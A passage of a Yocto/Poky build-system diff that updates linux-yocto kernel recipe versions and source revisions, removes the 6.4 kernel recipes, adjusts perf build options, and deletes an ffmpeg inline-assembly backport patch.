-SRCREV_meta ?= "943c6fe5dac329c7e1c30d602788f409e692b3a8"
+SRCREV_machine ?= "f9bb1e96b7dcb1ba3649e84ca3ab9880509cee1b"
+SRCREV_meta ?= "29ec3dc6f4f59b731badcc864b212767023cc40c"
SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.1;destsuffix=${KMETA};protocol=https"
-LINUX_VERSION ?= "6.1.55"
+LINUX_VERSION ?= "6.1.61"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.4.bb b/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.4.bb
deleted file mode 100644
index deb2eea73f..0000000000
--- a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.4.bb
+++ /dev/null
@@ -1,48 +0,0 @@
-KBRANCH ?= "v6.4/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# CVE exclusions
-include recipes-kernel/linux/cve-exclusion_6.4.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "61c6d869af5ffb90ac64095eafdf8ba513eb21a6"
-SRCREV_meta ?= "13efe44fe9dd2626eaf6552288ea31770ec71cf1"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.4;destsuffix=${KMETA};protocol=https"
-
-LINUX_VERSION ?= "6.4.16"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "1"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)$"
-
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
-KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.5.bb b/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.5.bb
index f70d77e06a..f004339749 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.5.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.5.bb
@@ -14,13 +14,13 @@ python () {
raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
}
-SRCREV_machine ?= "712b8fb1342bf829c9ca1e649adc9d112b9c209f"
-SRCREV_meta ?= "06cf3d8830fda41ff271eec7da6e3c8425df790f"
+SRCREV_machine ?= "833c5da68398da64271c26188b9e15286e8e725c"
+SRCREV_meta ?= "e4aaaaddfaf695039a7fc41815e24f57c29e30c0"
SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.5;destsuffix=${KMETA};protocol=https"
-LINUX_VERSION ?= "6.5.5"
+LINUX_VERSION ?= "6.5.10"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
@@ -36,7 +36,7 @@ LINUX_KERNEL_TYPE = "preempt-rt"
COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)$"
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
# Functionality flags
KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.1.bb b/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.1.bb
index 818c650368..fb48b8e043 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.1.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.1.bb
@@ -8,7 +8,7 @@ require recipes-kernel/linux/linux-yocto.inc
# CVE exclusions
include recipes-kernel/linux/cve-exclusion_6.1.inc
-LINUX_VERSION ?= "6.1.55"
+LINUX_VERSION ?= "6.1.61"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
@@ -17,8 +17,8 @@ DEPENDS += "openssl-native util-linux-native"
KMETA = "kernel-meta"
KCONF_BSP_AUDIT_LEVEL = "2"
-SRCREV_machine ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_meta ?= "943c6fe5dac329c7e1c30d602788f409e692b3a8"
+SRCREV_machine ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_meta ?= "29ec3dc6f4f59b731badcc864b212767023cc40c"
PV = "${LINUX_VERSION}+git"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.4.bb b/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.4.bb
deleted file mode 100644
index c81f230139..0000000000
--- a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-KBRANCH ?= "v6.4/standard/tiny/base"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# CVE exclusions
-include recipes-kernel/linux/cve-exclusion_6.4.inc
-
-LINUX_VERSION ?= "6.4.16"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_meta ?= "13efe44fe9dd2626eaf6552288ea31770ec71cf1"
-
-PV = "${LINUX_VERSION}+git"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.4;destsuffix=${KMETA};protocol=https"
-
-COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm64|qemuarm|qemuarmv5)$"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.5.bb b/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.5.bb
index 716c922c13..cc75c0c702 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.5.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.5.bb
@@ -8,7 +8,7 @@ require recipes-kernel/linux/linux-yocto.inc
# CVE exclusions
include recipes-kernel/linux/cve-exclusion_6.5.inc
-LINUX_VERSION ?= "6.5.5"
+LINUX_VERSION ?= "6.5.10"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
@@ -17,8 +17,8 @@ DEPENDS += "openssl-native util-linux-native"
KMETA = "kernel-meta"
KCONF_BSP_AUDIT_LEVEL = "2"
-SRCREV_machine ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_meta ?= "06cf3d8830fda41ff271eec7da6e3c8425df790f"
+SRCREV_machine ?= "16b52743d64980d531e120aec62c9220b695a269"
+SRCREV_meta ?= "e4aaaaddfaf695039a7fc41815e24f57c29e30c0"
PV = "${LINUX_VERSION}+git"
@@ -30,4 +30,4 @@ COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm64|qemuarm|qemuarmv5)$"
# Functionality flags
KERNEL_FEATURES = ""
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto.inc b/poky/meta/recipes-kernel/linux/linux-yocto.inc
index 0cc303c009..0132fcffb3 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto.inc
+++ b/poky/meta/recipes-kernel/linux/linux-yocto.inc
@@ -65,7 +65,10 @@ KERNEL_DEBUG ?= ""
DEPENDS += '${@bb.utils.contains_any("ARCH", [ "x86", "arm64", "powerpc" ], "elfutils-native", "", d)}'
DEPENDS += "openssl-native util-linux-native"
DEPENDS += "gmp-native libmpc-native"
-DEPENDS += '${@bb.utils.contains("KERNEL_DEBUG", "True", "pahole-native", "", d)}'
+
+# Some options depend on CONFIG_PAHOLE_VERSION, so need to make pahole-native available before do_kernel_configme
+do_kernel_configme[depends] += '${@bb.utils.contains("KERNEL_DEBUG", "True", "pahole-native:do_populate_sysroot", "", d)}'
+
EXTRA_OEMAKE += '${@bb.utils.contains("KERNEL_DEBUG", "True", "", "PAHOLE=false", d)}'
do_devshell:prepend() {
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb b/poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb
index a942d0c540..038c6dae71 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb
@@ -18,25 +18,25 @@ KBRANCH:qemux86-64 ?= "v6.1/standard/base"
KBRANCH:qemuloongarch64 ?= "v6.1/standard/base"
KBRANCH:qemumips64 ?= "v6.1/standard/mti-malta64"
-SRCREV_machine:qemuarm ?= "cf771f6d6bc0344e048bdbf7d23d3aacbe3556d0"
-SRCREV_machine:qemuarm64 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemuloongarch64 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemumips ?= "4be1dcc270e6ddeea513af01d91ea3b48ec82470"
-SRCREV_machine:qemuppc ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemuriscv64 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemuriscv32 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemux86 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemux86-64 ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_machine:qemumips64 ?= "aa0e978c979b84d620ad21132cfdbbf857be3878"
-SRCREV_machine ?= "644e73fa089ade30c0db7bd54be960be92546ba2"
-SRCREV_meta ?= "943c6fe5dac329c7e1c30d602788f409e692b3a8"
+SRCREV_machine:qemuarm ?= "ed4795c1e353e6a1fa57b5ba01c42f5b3f436a0c"
+SRCREV_machine:qemuarm64 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemuloongarch64 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemumips ?= "7c06c2693959032740dd1fdea4dedc9491845951"
+SRCREV_machine:qemuppc ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemuriscv64 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemuriscv32 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemux86 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemux86-64 ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_machine:qemumips64 ?= "b05d04ae43806e87bf9f77484c72260350f6defe"
+SRCREV_machine ?= "9e8c3b51334d4ca02a5ccdb5b4a1268b2f3174b9"
+SRCREV_meta ?= "29ec3dc6f4f59b731badcc864b212767023cc40c"
# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
# get the <version>/base branch, which is pure upstream -stable, and the same
# meta SRCREV as the linux-yocto-standard builds. Select your version using the
# normal PREFERRED_VERSION settings.
BBCLASSEXTEND = "devupstream:target"
-SRCREV_machine:class-devupstream ?= "d23900f974e0fb995b36ef47283a5aa74ca25f51"
+SRCREV_machine:class-devupstream ?= "4a61839152cc3e9e00ac059d73a28d148d622b30"
PN:class-devupstream = "linux-yocto-upstream"
KBRANCH:class-devupstream = "v6.1/base"
@@ -45,7 +45,7 @@ SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRA
SRC_URI += "file://0001-perf-cpumap-Make-counter-as-unsigned-ints.patch"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-LINUX_VERSION ?= "6.1.55"
+LINUX_VERSION ?= "6.1.61"
PV = "${LINUX_VERSION}+git"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto_6.4.bb b/poky/meta/recipes-kernel/linux/linux-yocto_6.4.bb
deleted file mode 100644
index 5afd7b1ba7..0000000000
--- a/poky/meta/recipes-kernel/linux/linux-yocto_6.4.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-KBRANCH ?= "v6.4/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# CVE exclusions
-include recipes-kernel/linux/cve-exclusion.inc
-include recipes-kernel/linux/cve-exclusion_6.4.inc
-
-# board specific branches
-KBRANCH:qemuarm ?= "v6.4/standard/arm-versatile-926ejs"
-KBRANCH:qemuarm64 ?= "v6.4/standard/qemuarm64"
-KBRANCH:qemumips ?= "v6.4/standard/mti-malta32"
-KBRANCH:qemuppc ?= "v6.4/standard/qemuppc"
-KBRANCH:qemuriscv64 ?= "v6.4/standard/base"
-KBRANCH:qemuriscv32 ?= "v6.4/standard/base"
-KBRANCH:qemux86 ?= "v6.4/standard/base"
-KBRANCH:qemux86-64 ?= "v6.4/standard/base"
-KBRANCH:qemuloongarch64 ?= "v6.4/standard/base"
-KBRANCH:qemumips64 ?= "v6.4/standard/mti-malta64"
-
-SRCREV_machine:qemuarm ?= "871a4762a8f85550898b8992b29d5e1dbf60a459"
-SRCREV_machine:qemuarm64 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemuloongarch64 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemumips ?= "18bb71cbb388dd093c46d1777f607cfbf0d4c03b"
-SRCREV_machine:qemuppc ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemuriscv64 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemuriscv32 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemux86 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemux86-64 ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_machine:qemumips64 ?= "5b9def2ea1065e44847b920c3a4185d0e5c22d58"
-SRCREV_machine ?= "ef91ff6a4be36037808af1ca786fdd557f265a1d"
-SRCREV_meta ?= "13efe44fe9dd2626eaf6552288ea31770ec71cf1"
-
-# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
-# get the <version>/base branch, which is pure upstream -stable, and the same
-# meta SRCREV as the linux-yocto-standard builds. Select your version using the
-# normal PREFERRED_VERSION settings.
-BBCLASSEXTEND = "devupstream:target"
-SRCREV_machine:class-devupstream ?= "ae4e4fc35b4258626644c162a702e2bce2b79190"
-PN:class-devupstream = "linux-yocto-upstream"
-KBRANCH:class-devupstream = "v6.4/base"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH};protocol=https \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.4;destsuffix=${KMETA};protocol=https"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-LINUX_VERSION ?= "6.4.16"
-
-PV = "${LINUX_VERSION}+git"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "1"
-
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "^(qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32|qemuloongarch64)$"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc cfg/net/mdio.scc"
-KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
-KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
-KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
-KERNEL_FEATURES:append:powerpc =" arch/powerpc/powerpc-debug.scc"
-KERNEL_FEATURES:append:powerpc64 =" arch/powerpc/powerpc-debug.scc"
-KERNEL_FEATURES:append:powerpc64le =" arch/powerpc/powerpc-debug.scc"
-
-INSANE_SKIP:kernel-vmlinux:qemuppc64 = "textrel"
-
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb b/poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb
index 64399e1e8d..5cdf0e02d0 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb
@@ -18,25 +18,25 @@ KBRANCH:qemux86-64 ?= "v6.5/standard/base"
KBRANCH:qemuloongarch64 ?= "v6.5/standard/base"
KBRANCH:qemumips64 ?= "v6.5/standard/mti-malta64"
-SRCREV_machine:qemuarm ?= "ff312905898c587e8c8e1b82b59c01b6933c6339"
-SRCREV_machine:qemuarm64 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemuloongarch64 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemumips ?= "889d009f6f39c91fedb8c7431c2ce649f05a04a9"
-SRCREV_machine:qemuppc ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemuriscv64 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemuriscv32 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemux86 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemux86-64 ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_machine:qemumips64 ?= "97c93107649bc6f7fafdf6c3a8b3521f4bfe2246"
-SRCREV_machine ?= "49e3d8448aeaecd8e2bb6b481f26b76514dbe0f5"
-SRCREV_meta ?= "06cf3d8830fda41ff271eec7da6e3c8425df790f"
+SRCREV_machine:qemuarm ?= "eb2eba60c726fd5c0257422e55117f46f792f72e"
+SRCREV_machine:qemuarm64 ?= "e709bc7ca85655ff5317fbcf4c8cb69365b6fc40"
+SRCREV_machine:qemuloongarch64 ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_machine:qemumips ?= "0524fc1380569f39eb5473cc8344ce2e4e78a82d"
+SRCREV_machine:qemuppc ?= "0b23c1d5705f5efa91b3757377ec284b1d42a84a"
+SRCREV_machine:qemuriscv64 ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_machine:qemuriscv32 ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_machine:qemux86 ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_machine:qemux86-64 ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_machine:qemumips64 ?= "b63329018323409369e952c84ac6481e68a9b6af"
+SRCREV_machine ?= "128116621dee1ddbc7cf5f58cddc708d7b823600"
+SRCREV_meta ?= "e4aaaaddfaf695039a7fc41815e24f57c29e30c0"
# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
# get the <version>/base branch, which is pure upstream -stable, and the same
# meta SRCREV as the linux-yocto-standard builds. Select your version using the
# normal PREFERRED_VERSION settings.
BBCLASSEXTEND = "devupstream:target"
-SRCREV_machine:class-devupstream ?= "2309983b0ac063045af3b01b0251dfd118d45449"
+SRCREV_machine:class-devupstream ?= "43a868577dfcd9be6930453dc5ec557ab2e9ad89"
PN:class-devupstream = "linux-yocto-upstream"
KBRANCH:class-devupstream = "v6.5/base"
@@ -44,14 +44,14 @@ SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRA
git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.5;destsuffix=${KMETA};protocol=https"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-LINUX_VERSION ?= "6.5.5"
+LINUX_VERSION ?= "6.5.10"
PV = "${LINUX_VERSION}+git"
KMETA = "kernel-meta"
KCONF_BSP_AUDIT_LEVEL = "1"
-KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
COMPATIBLE_MACHINE = "^(qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32|qemuloongarch64)$"
diff --git a/poky/meta/recipes-kernel/perf/perf.bb b/poky/meta/recipes-kernel/perf/perf.bb
index 675acfaf26..32882afdf4 100644
--- a/poky/meta/recipes-kernel/perf/perf.bb
+++ b/poky/meta/recipes-kernel/perf/perf.bb
@@ -28,6 +28,9 @@ PACKAGECONFIG[audit] = ",NO_LIBAUDIT=1,audit"
PACKAGECONFIG[manpages] = ",,xmlto-native asciidoc-native"
PACKAGECONFIG[cap] = ",,libcap"
PACKAGECONFIG[libtraceevent] = ",NO_LIBTRACEEVENT=1,libtraceevent"
+# jevents requires host python for generating a .c file, but is
+# unrelated to the python item.
+PACKAGECONFIG[jevents] = ",NO_JEVENTS=1,python3-native"
# Arm CoreSight
PACKAGECONFIG[coresight] = "CORESIGHT=1,,opencsd"
PACKAGECONFIG[pfm4] = ",NO_LIBPFM4=1,libpfm4"
@@ -73,6 +76,15 @@ SPDX_S = "${S}/tools/perf"
# supported kernel.
LDFLAGS="-ldl -lutil"
+# Perf's build system adds its own optimization flags for most TUs,
+# overriding the flags included here. But for some, perf does not add
+# any -O option, so ensure the distro's chosen optimization gets used
+# for those. Since ${SELECTED_OPTIMIZATION} always includes
+# ${DEBUG_FLAGS} which in turn includes ${DEBUG_PREFIX_MAP}, this also
+# ensures perf is built with appropriate -f*-prefix-map options,
+# avoiding the 'buildpaths' QA warning.
+TARGET_CC_ARCH += "${SELECTED_OPTIMIZATION}"
+
EXTRA_OEMAKE = '\
V=1 \
VF=1 \
@@ -86,7 +98,7 @@ EXTRA_OEMAKE = '\
AR="${AR}" \
LD="${LD}" \
EXTRA_CFLAGS="-ldw -I${S}" \
- YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
EXTRA_LDFLAGS="${PERF_EXTRA_LDFLAGS}" \
perfexecdir=${libexecdir} \
NO_GTK2=1 \
@@ -126,6 +138,7 @@ PERF_SRC ?= "Makefile \
tools/perf \
tools/scripts \
scripts/ \
+ arch/arm64/tools \
arch/${ARCH}/Makefile \
"
@@ -171,7 +184,8 @@ python copy_perf_source_from_kernel() {
src = oe.path.join(src_dir, s)
dest = oe.path.join(dest_dir, s)
if not os.path.exists(src):
- bb.fatal("Path does not exist: %s. Maybe PERF_SRC does not match the kernel version." % src)
+ bb.warn("Path does not exist: %s. Maybe PERF_SRC lists more files than what your kernel version provides and needs." % src)
+ continue
if os.path.isdir(src):
oe.path.copyhardlinktree(src, dest)
else:
@@ -391,7 +405,7 @@ PACKAGESPLITFUNCS =+ "perf_fix_sources"
perf_fix_sources () {
for f in util/parse-events-flex.h util/parse-events-flex.c util/pmu-flex.c \
util/pmu-flex.h util/expr-flex.h util/expr-flex.c; do
- f=${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/$f
+ f=${PKGD}${TARGET_DBGSRC_DIR}/$f
if [ -e $f ]; then
sed -i -e 's#${S}/##g' $f
fi
diff --git a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-avcodec-x86-mathops-clip-constants-used-with-shift-i.patch b/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-avcodec-x86-mathops-clip-constants-used-with-shift-i.patch
deleted file mode 100644
index a47a20365f..0000000000
--- a/poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-avcodec-x86-mathops-clip-constants-used-with-shift-i.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-From effadce6c756247ea8bae32dc13bb3e6f464f0eb Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?R=C3=A9mi=20Denis-Courmont?= <remi@remlab.net>
-Date: Sun, 16 Jul 2023 18:18:02 +0300
-Subject: [PATCH] avcodec/x86/mathops: clip constants used with shift
- instructions within inline assembly
-
-Fixes assembling with binutil as >= 2.41
-
-Upstream-Status: Backport [https://git.ffmpeg.org/gitweb/ffmpeg.git/commit/effadce6c756247ea8bae32dc13bb3e6f464f0eb]
-Signed-off-by: James Almer <jamrial@gmail.com>
----
- libavcodec/x86/mathops.h | 26 +++++++++++++++++++++++---
- 1 file changed, 23 insertions(+), 3 deletions(-)
-
-diff --git a/libavcodec/x86/mathops.h b/libavcodec/x86/mathops.h
-index 6298f5ed19..ca7e2dffc1 100644
---- a/libavcodec/x86/mathops.h
-+++ b/libavcodec/x86/mathops.h
-@@ -35,12 +35,20 @@
- static av_always_inline av_const int MULL(int a, int b, unsigned shift)
- {
- int rt, dummy;
-+ if (__builtin_constant_p(shift))
- __asm__ (
- "imull %3 \n\t"
- "shrdl %4, %%edx, %%eax \n\t"
- :"=a"(rt), "=d"(dummy)
-- :"a"(a), "rm"(b), "ci"((uint8_t)shift)
-+ :"a"(a), "rm"(b), "i"(shift & 0x1F)
- );
-+ else
-+ __asm__ (
-+ "imull %3 \n\t"
-+ "shrdl %4, %%edx, %%eax \n\t"
-+ :"=a"(rt), "=d"(dummy)
-+ :"a"(a), "rm"(b), "c"((uint8_t)shift)
-+ );
- return rt;
- }
-
-@@ -113,19 +121,31 @@ __asm__ volatile(\
- // avoid +32 for shift optimization (gcc should do that ...)
- #define NEG_SSR32 NEG_SSR32
- static inline int32_t NEG_SSR32( int32_t a, int8_t s){
-+ if (__builtin_constant_p(s))
- __asm__ ("sarl %1, %0\n\t"
- : "+r" (a)
-- : "ic" ((uint8_t)(-s))
-+ : "i" (-s & 0x1F)
- );
-+ else
-+ __asm__ ("sarl %1, %0\n\t"
-+ : "+r" (a)
-+ : "c" ((uint8_t)(-s))
-+ );
- return a;
- }
-
- #define NEG_USR32 NEG_USR32
- static inline uint32_t NEG_USR32(uint32_t a, int8_t s){
-+ if (__builtin_constant_p(s))
- __asm__ ("shrl %1, %0\n\t"
- : "+r" (a)
-- : "ic" ((uint8_t)(-s))
-+ : "i" (-s & 0x1F)
- );
-+ else
-+ __asm__ ("shrl %1, %0\n\t"
-+ : "+r" (a)
